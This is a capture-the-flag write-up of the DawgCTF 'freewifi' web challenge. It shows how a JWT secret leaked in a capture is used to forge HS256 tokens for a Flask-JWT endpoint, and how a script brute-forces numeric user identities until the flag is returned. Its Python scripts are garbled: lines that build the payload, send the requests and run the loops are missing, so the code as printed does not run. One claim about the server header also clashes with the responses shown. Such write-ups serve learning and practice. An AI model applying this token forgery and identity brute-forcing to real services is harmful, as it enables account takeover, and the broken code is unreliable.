Tags: web jwt

Rating:

> I saw someone's screen and it looked like they stayed logged in, somehow...
http://freewifi.ctf.umbccd.io/

There is an interesting path in it: /jwtlogin. Accessing it, causes a 401 (Unauthorized) error. But in the next request of the capture, the user posts a passcode to /staff.html and is getting a JWT secret as a response in a cookie:

Checking the session token retrieved on the next request at https://jwt.io and using the secret dawgCTF?heckin#bamboozle (with or without double quotes around it) does not validate the signature. The session cookie just contains the CSRF token, though.

So we need to find out how to send the JWT to the /jwtlogin endpoint and what its content is supposed to be.

A first step is to build a more or less random token (containing just user=admin) and sending it as a cookie and as a bearer token:

bash
$http https://freewifi.ctf.umbccd.io/jwtlogin "Cookie: session=eyJ1c2VyIjoiYWRtaW4iLCJhbGciOiJIUzI1NiJ9.e30.xN1MhQ-3wyIsOfiJi48GZTNuxWxSucU2HLDxYKlonGw" HTTP/1.1 401 UNAUTHORIZED Connection: keep-alive Content-Length: 110 Content-Type: application/json Date: Sat, 11 Apr 2020 10:16:06 GMT Server: nginx/1.14.0 (Ubuntu) WWW-Authenticate: JWT realm="Login Required" { "description": "Request does not contain an access token", "error": "Authorization Required", "status_code": 401 }$ http https://freewifi.ctf.umbccd.io/jwtlogin "Authorization: Bearer eyJ1c2VyIjoiYWRtaW4iLCJhbGciOiJIUzI1NiJ9.e30.xN1MhQ-3wyIsOfiJi48GZTNuxWxSucU2HLDxYKlonGw"
HTTP/1.1 401 UNAUTHORIZED
Connection: keep-alive
Content-Length: 96
Content-Type: application/json
Date: Sat, 11 Apr 2020 10:21:58 GMT
Server: nginx/1.14.0 (Ubuntu)

{
"description": "Unsupported authorization type",
"status_code": 401
}


The latter looks more promising, so we need to use explicit authorization via the Authorization header for our request.

In order to build a proper JWT, it would be helpful to know something about how the applicationwas built. The requests are containing a server header telling us which webserver sent the responses: werkzeug. This indicates, that we are dealing with a Flask application. Other things (the JWT Realm in the response) support this assumption.

We should sign the token using the algorithm HS256 (HMAC-SHA-256) and the payload must contain the values exp, iat, ibf (indicating the validity of the token) and identity. The library *PyJWT* is helpful for building the tokens:

python
from jwt import PyJWT
import datetime
import requests

secrets = ['"dawgCTF?heckin#bamboozle"', 'dawgCTF?heckin#bamboozle']

jwt = PyJWT()
for secret in secrets:
now = datetime.datetime.utcnow()
'identity': user_id,
'exp': now + datetime.timedelta(hours=1),
'iat': now,
'nbf': now
}

token = jwt.encode(
key=secret,
algorithm='HS256'
).decode('utf-8')
print(token)
print(r.status_code)
print(r.text)


Unfortunately, we are still getting a Invalid JWT Header error.

Searching for it in the source code we find the line creating it here: https://github.com/mattupstate/flask-jwt/blob/c27084114e258863b82753fc574a362cd6c62fcd/flask_jwt/__init__.py#L104
The error is caused, because the first part of the Authorization header is not the same as the JWT_AUTH_HEADER_PREFIX value in the application (which is JWT). So we need to change the value of Bearer to JWT

This changes the error message. If we use the JWT secret in quotes, we get

{"description":"Signature verification failed","error":"Invalid token","status_code":401}

So let's use the password without quotes. This gives a different error yet again:

{"description":"User does not exist","error":"Invalid JWT","status_code":401}

We have a valid JWT now, but still need to find a correct user identity. First I tried a couple of well known names without success:

['true.grit@umbccd.io',0, 1, 100, 1000, 10000, 'admin', 'administrator', 'user', 'root', 'guest', 'TrueGrit', 'umbccd', 'dawgctf', 'DawgCTF', 'truegrit', 'true.grit', 'pleoxconfusa', 'freethepockets']

Checking the source code again, we can find that the identity value of the token is checked here: https://github.com/mattupstate/flask-jwt/blob/c27084114e258863b82753fc574a362cd6c62fcd/flask_jwt/__init__.py#L267
From that we can conclude, that the identity value needs to be numeric.

From that point, we brute force the ID with the following script:

python
from jwt import PyJWT
import datetime
import requests
import json
import sys
import time

secrets = ['dawgCTF?heckin#bamboozle']

if(len(sys.argv) >= 2):
filename = sys.argv[1]
with open(filename, "rb") as f:

session = requests.session()

jwt = PyJWT()
ts = time.time()
for secret in secrets:
if(user_id is bytes):
try:
user_id = user_id.decode('utf-8')
except:
next
if(time.time() - ts > 10):
print("Trying user '{}'".format(user_id))
ts = time.time()
now = datetime.datetime.utcnow()
'identity': user_id,
'exp': now + datetime.timedelta(hours=10),
'iat': now,
'nbf': now - datetime.timedelta(hours=10),
}

token = jwt.encode(
key=secret,
algorithm='HS256'
).decode('utf-8')
try:
except:
err_desc = ""
if(r.status_code != 401 or err_desc != "User does not exist"):
print(user_id)
print(token)
print(r.status_code)
print(r.text)


Finally, for the userid 31337 and using the JWT

eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJpZGVudGl0eSI6MzEzMzcsImV4cCI6MTU4NjY4MTAwMSwiaWF0IjoxNTg2NjQ1MDAxLCJuYmYiOjE1ODY2MDkwMDF9.EXlLxvJynQeeAW8ngIrIfdaGY_vCBC8LilmVI3ZttyQ

we get the flag as an response.

Flag: **DawgCTF{y0u_d0wn_w!t#_JWT?}**

Update: The user ID could have been found without brute forcing.
If you open /staff.html in the browser and try to login with true.grit@umbccd.io as the username ans any password, the error page will contain the cookie

JWT 'identity'=31337; Path=/